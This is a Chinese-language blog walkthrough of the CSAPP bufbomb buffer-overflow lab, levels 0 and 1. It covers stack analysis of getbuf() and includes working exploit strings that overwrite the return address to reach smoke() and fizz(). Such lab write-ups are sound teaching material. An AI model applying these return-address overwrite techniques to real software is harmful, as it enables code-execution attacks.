• CSAPP缓冲区溢出攻击实验(上)


    CSAPP缓冲区溢出攻击实验(上)

    下载实验工具,最新的讲义在。网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上。不过没有关系,大体上只是程序名(sendstring)或者参数名(bufbomb -t)的差异,不影响我们的实验。

    1.实验工具

    1.1 makecookie

    后面实验中,五次“攻击”中有四次都是使你的cookie出现在它原本不存在的位置,所以我们首先要为自己产生一个cookie。实验工具中的makecookie就是生成cookie用的,参数是你的名字:

    [root@vm bufbomb]$ file makecookie 
    makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped
    [root@vm bufbomb]$ chmod +x makecookie
    
    [root@vm bufbomb]$ ./makecookie cdai
    0x5e5ee04e

    1.2 bufbomb

    bufbomb就是我们要“攻击”的程序,我下载的实验工具的这个版本在执行时必须有-t这个参数,表示本人的名字:

    [root@vm bufbomb]$ ./bufbomb 
    You must include a team name with -t
    Usage: ./bufbomb -t team [-n] [-s] [-h]
            -t team:   Specify team name
            -n :       Nitro mode
            -s :       Submit solution via email
            -h :       Print help information
    
    [root@vm bufbomb]$ ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:I love 15-213
    Dud: getbuf returned 0x1
    Better luck next time
    
    [root@vm bufbomb]$ ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:It is easier to love this class when you are a TA
    Ouch!: You caused a segmentation fault!
    Better luck next time

    1.3 sendstring

    sendstring小工具(新版叫做hex2raw)能读入我们的制作的string(十六进制),将其发送到bufbomb的标准输入流,避免每次都要在终端上手动输入。cat管道或者直接重定向两种方式都行:

    [root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
    
    [root@vm bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai

    2.热身准备

    2.1 “漏洞”代码

    下面这一段看似“无辜”的小函数就是产生安全漏洞的源头了,而最根源的root cause就是Gets()函数没有考虑buf缓冲区的大小,直接将用户输入的所有字符都保存进去。如果用户输入过多的字符,就会导致栈上某些数据被覆盖,从而造成了缓冲区溢出的危险:

    int getbuf()
    {
        char buf[12];
        Gets(buf);
        return 1;
    }

    2.2 缓冲区栈分析

    在开始真正“攻击”之前,我们先要分析一下bufbomb调用getbuf()时的栈是什么样子的。只有全面的了解了栈结构,后面实验时我们才能随心所欲地“攻击”它。首先,通过objdump反汇编getbuf()函数:

    [root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
    08048ad0 <getbuf>:
     8048ad0:       55                      push   %ebp
     8048ad1:       89 e5                   mov    %esp,%ebp
     8048ad3:       83 ec 28                sub    $0x28,%esp
     8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
     8048ad9:       89 04 24                mov    %eax,(%esp)
     8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
     8048ae1:       c9                      leave  
     8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
     8048ae7:       c3                      ret    
     8048ae8:       90                      nop
     8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi
    

    根据getbuf()的汇编代码,现在分析一下运行时的栈结构是什么样子。基础知识可以看六星经典CSAPP-笔记(3)程序的机器级表示中的“7.运行时的代码与栈”来快速温习一下,这里就不赘述了。

    首先,未调用getbuf()之前,%ebp和%esp分别指向调用者test()的栈base地址和栈顶地址,此时栈世界还是一片“风平浪静”:

    …………………………………………….. 0x?? <- %ebp

    …………………………………………….. 0x00 <- %esp

    当test()执行到call 时,根据之前的学习,call指令和getbuf()的前两条“惯用”指令会完成这三件事儿:

    • call指令保存返回地址:所谓保存返回地址(return address)其实就是 call指令将那一时刻的PC(%eip值,即call的下一条指令的地址)压入栈。还记得吗?因为PC自增在先,指令执行在后。所以执行完getbuf()的所有代码后,ret指令会恢复PC的值,程序就可以继续执行test()的剩余代码了。
    • getbuf()保存test()的%ebp:将test()栈帧的base地址压入到栈上。
    • getbuf()保存test()的%esp:将test()栈帧的栈顶地址保存到getbuf()的%ebp,作为getbuf()的base地址。leave和ret指令会负责还原%ebp和%esp。

    根据这三条“惯例”,每个函数的栈初始时都是一样的:先是return address,然后是保存的调用者的%ebp,当前的%ebp就指向这。而%esp根据分配空间的大小指向了“更低处”。接下来就是分析getbuf()独有的部分了。开始进一步分析之前先确定两个规则:1)%ebp指向的地址作为0x00(相对地址);2)下图中寄存器指向的横线的上方是该地址上的数据

    1. lea -0x18(%ebp),%eax:利用lea执行复杂运算,%eax = %ebp - 0x18 = 0x18
    2. mov %eax,(%esp):修改%esp指向位置的值作为Gets()的入参,%(esp) = -0x28位置的数据 = -0x18
    3. call 80489c0 :调用Gets()函数。

    不考虑Gets()是如何利用入参-0x18修改buf数组,默认它会完成这个工作。那么getbuf()的栈在调用Gets()就是这个样子:

    …………………………………………….. 0x??

    ……………………………………………..
    Return Address
    …………………………………………….. 0x04
    Saved %ebp
    …………………………………………….. 0x00 <- %ebp

    ……………………………………………..
    -0x18 (%eax)
    …………………………………………….. -0x28 <- %esp (&arg0)

    了解到这里也就足够了,下面就可以进行实验了。

    温习:call, leave, ret
    call A:保存%eip,调用函数

    • push %eip
    • jmp A

      leave:还原调用者的%ebp和%esp,为退出函数做准备

    • mov %ebp, %esp

    • pop %ebp

      ret:修改%eip,返回调用者继续执行

    • pop %eip

    进一步回顾:
    push A:将A压入栈,并修改栈顶指针%esp

    • mov A, (%esp)
    • %esp += 4

      jmp A:修改%eip,“跳到别处”继续执行

    • mov A, %eip

    2.3 GDB观察

    GDB是Linux下强大的调试工具,简单使用说明如下:

    1. gdb :准备调试程序,等同于先gdb,再file 。
    2. b :为函数设置断点。b是break的缩写,除了函数名,还可以是地址、当前执行处的+/-偏移等。
    3. run :开始运行程序,run后面可以加程序需要的参数,就像在命令行正常运行时那样。
    4. s/n/si/c/kill:s即step in,进入下一行代码执行;n即step next,执行下一行代码但不进入;si即step instruction,执行下一条汇编/CPU指令;c即continue,继续执行直到下一个断点处;kill终止调试。
    5. bt:bt是backtrace的缩写,打印当前所在函数的堆栈路径。
    6. info frame :描述选中的栈帧。
    7. info args:打印选中栈帧的参数。
    8. print :打印指定变量的值。
    9. list:列出相应的源代码。
    10. quit:退出gdb。

    3.“攻击”实验

    3.1 Level 0: 蜡烛

    实验1是要修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。并且不用担心我们会破坏栈的其他部分,因为反正smoke()执行后也是要终止程序,这也降低了难度。

    void smoke()
    {
        printf("Smoke!: You called smoke()
    ");
        validate(0);
        exit(0);
    }

    于是思路很简单,按照前面的栈结构分析,我们只需构造一段字符串让Gets()全部拷贝到buf数组了,从而造成缓冲区溢出。同时最重要的一点是:将smoke()函数的初始地址也放到构造的字符串内,使其恰好覆盖到getbuf()的return address位置

    那么第一步,我们先要知道smoke()的初始地址。这很简单,用objdump查看符号表或者.text都能找到:

    [root@vm bufbomb]$ objdump -t bufbomb 
    
    bufbomb:     file format elf32-i386
    
    SYMBOL TABLE:
    08048134 l    d  .interp        00000000              .interp
        ...
    08048f40 g     F .text  0000002a              bushandler
    08048eb0 g     F .text  0000002a              smoke
    00000000       F *UND*  00000017              rand@@GLIBC_2.0
    0804a1d0 g     O .bss   00000004              team
        ...

    可以清楚地看到smoke的初始地址是0x08048eb0,万事俱备,现在就可以构造“攻击”字符串了!既然题目都说了,破坏栈中的其他部分数据没关系,那除了smoke的地址,其他我们都可以“瞎写”了。buf第一个元素的地址是-0x18,而return address第一个字节的地址是0x04,两个位置的相差换算成换算成十进制就是0x04 - (-0x18) = 4 + 24 = 28。也就是说我们要构造28个字符,然后加上smoke()的地址就能准确覆盖到return address了。为了便于计数,我按00到99的顺序填充:

    [root@vm bufbomb]$ cat exploit.raw
    0011223344556677889900112233445566778899001122334455667708048eb0

    出乎意料的是第一次运行却失败了,bufbomb提示segment fault,还以为前面分析都错了。结果原因却是我忘记了小尾端的事儿,直接将smoke()的首地址0x08048eb0放到exploit.new的末尾了,PC就会指向一个非法的内存地址了,当然就报段错误了。将地址调整成b0 8e 04 08后,果然成功了!看到CMU对我说“NICE JOB!”热泪盈眶啊!

    [root@vm bufbomb]$ cat exploit.raw
    00112233445566778899001122334455667788990011223344556677b08e0408
    
    [root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:Smoke!: You called smoke()
    NICE JOB!
    Sent validation information to grading server

    3.2 Level 1: 烟火

    实验2与实验1大同小异,都是让getbuf()的调用者test()(不是getbuf())执行一个代码里未调用的函数,实验2中是fizz()函数。但实验2稍稍提高了难度,我们不仅要想法让test()执行fizz(),还要传入我们的cookie作为参数,让fizz()打印出来才算成功。

    void fizz(int val)
    {
        if (val == cookie)
        {
            printf("Fizz!: You called fizz(0x%x)
    ", val);
            validate(1);
        } else
            printf("Misfire: You called fizz(0x%x)
    ", val);
    
        exit(0);
    }

    第一步还是通过objdump -t查看符号表中fizz()函数的初始地址。拿到了地址0x08048e60,只要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()执行完毕后返回到fizz()中(注意不要再忘记小尾端字节序),也就通过缓冲区溢出造成了test()调用了fizz()的“假象”。

    第二步很简单,用makecookie生成我的用户名”cdai”的cookie是0x5e5ee04e,那么现在的问题是如何正确设置fizz()的入参呢?之前我们着重温习了call执行时被调用者要做的三件事儿,现在就温习一下调用者要做的事儿。重温一下getbuf()的反汇编代码,以getbuf()调用Gets()为例,看一下调用者的代码和对应的栈:

    [root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
    08048ad0 <getbuf>:
     8048ad0:       55                      push   %ebp
     8048ad1:       89 e5                   mov    %esp,%ebp
     8048ad3:       83 ec 28                sub    $0x28,%esp
     8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
     8048ad9:       89 04 24                mov    %eax,(%esp)
     8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
     8048ae1:       c9                      leave  
     8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
     8048ae7:       c3                      ret    
     8048ae8:       90                      nop
     8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi
    
    [root@vm bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"
    08048e60 <fizz>:
     8048e60:   55                      push   %ebp
     8048e61:   89 e5                   mov    %esp,%ebp
     8048e63:   83 ec 08                sub    $0x8,%esp
     8048e66:   8b 45 08                mov    0x8(%ebp),%eax
        ...

    调用Gets()之前,getbuf()负责将参数压入到栈上,参数位置是(%esp),即栈顶所指的位置。有了这个知识,我们就可以为fizz()准备入参了。但要注意三点:

    1. 多个参数的顺序问题:假如Gets()有两个参数,参数在栈上的地址顺序是:低地址(靠近栈顶)是第一个参数,高地址是第二个参数。
    2. 栈指针%ebp和%esp:当我们溢出缓冲区到getbuf()栈上的return address位置时,实际上破坏了栈上的其他数据,包括Saved %ebp。这样getbuf()执行return恢复%ebp时实际上是无法正常恢复到test()的位置了。注意:损坏的只是%ebp,因为%esp是用%ebp还原的而不是在栈上保存的(leave=mov %ebp, %esp; pop %ebp)但这都没有关系。只要开始执行fizz(),fizz()按照“惯例”会将其实已“损坏”的%ebp再次保存到栈上,并从完好的%esp处继续执行
    3. 别忘了return address:前面讲过call指令在跳转前会压入%eip作为return address。也就是说fizz()的%ebp(指向saved %ebp)和调用者准备好的入参之间是隔着return address的。

    这时的栈看起来很别扭,这很正常。因为正常情况下,getbuf()执行后应回到它的调用点,但因为我们故意破坏了它的栈,所以 getbuf()的return执行后却立即进入了另一个函数fizz(),看起来也就不足为奇了。

    …………………………………………………………………………….. 0x??
    Data on caller’s stack => fizz()’s argument: 4ee05e5e
    …………………………………………………………………………….. 0x0c
    Data on caller’s stack => fizz()’s return address: padding 00112233
    …………………………………………………………………………….. 0x08
    Return Address of getbuf() => fizz()’s entry point: 608e0408
    …………………………………………………………………………….. 0x04
    Saved %ebp => padding 44556677
    …………………………………………………………………………….. 0x00 <- %ebp
    Buf on getbuf()’s stack => padding 00~99 00~99 00~33
    ……………………………………………………………………………..
    -0x18 (%eax)
    …………………………………………………………………………….. -0x28 <- %esp (&arg0)

    下面就是进入fizz()之后的样子:按照调用者“惯例”和call指令,入参和返回地址(%eip)被压入栈上。按照被调用者“惯例”,fizz将%ebp压入栈后移动到%esp,并移动%esp分配栈空间。一切都“正常”的仿佛就是test()调用的fizz()!从fizz()的反汇编结果也验证了这一点,sub $0x8, %esp分配栈空间后,mov 0x8(%ebp), %eax将入参保存到寄存器%eax中。对照下面的栈,%ebp隔着压入栈的调用者的%ebp和返回地址8字节,因此0x8(%ebp)恰好就是我们“攻击”时放置的入参值。

    …………………………………………………………………………….. 0x??
    fizz()’s argument: 4ee05e5e
    …………………………………………………………………………….. 0x0c
    fizz()’s return address: 00112233
    …………………………………………………………………………….. 0x08
    Saved %ebp: 44556677
    …………………………………………………………………………….. 0x04 <- %ebp

    …………………………………………………………………………….. 0x00

    …………………………………………………………………………….. -0x08 <- %esp

    [root@vm bufbomb]$ cat exploit_level_1.raw 
    00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e
    
    [root@vm bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:Fizz!: You called fizz(0x5e5ee04e)
    NICE JOB!
    Sent validation information to grading server
  • 相关阅读:
    php7垃圾回收机制
    PHP-FPM
    go main.main之前的准备
    ElementUI MessageBox 弹框
    ElementUI table 样式修改
    ElementUI Dropdown 下拉菜单
    vue+django实现下载文件
    ElementUI 点击展开/隐藏
    vue+django实现websocket连接
    ElementUI 上传文件以及限制
  • 原文地址:https://www.cnblogs.com/xiaomaohai/p/6157619.html
Copyright © 2020-2023  润新知